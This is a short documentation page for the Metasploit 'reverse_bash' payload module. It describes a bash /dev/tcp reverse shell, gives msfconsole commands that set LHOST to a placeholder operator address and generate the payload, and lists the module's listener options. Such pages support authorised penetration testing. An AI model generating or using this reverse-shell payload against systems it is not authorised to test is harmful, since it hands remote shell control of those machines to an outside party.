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Unix Command Shell, Reverse TCP (/dev/tcp)

Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.


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Authors

  • hdm < hdm [at] metasploit.com >

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Usage Information

$ msfconsole

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msf > use payload/cmd/unix/reverse_bash
msf payload(reverse_bash) > set LHOST [MY IP ADDRESS]
msf payload(reverse_bash) > generate


Module Options

LHOST The listen address
LPORT The listen port (default: 4444)
AutoRunScript A script to run automatically on session creation.
InitialAutoRunScript An initial script to run on session creation (before AutoRunScript)
ReverseConnectRetries The number of connection attempts to try before exiting the process
ReverseListenerBindAddress The specific IP address to bind to on the local system
ReverseListenerComm The specific communication channel to use for this listener
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module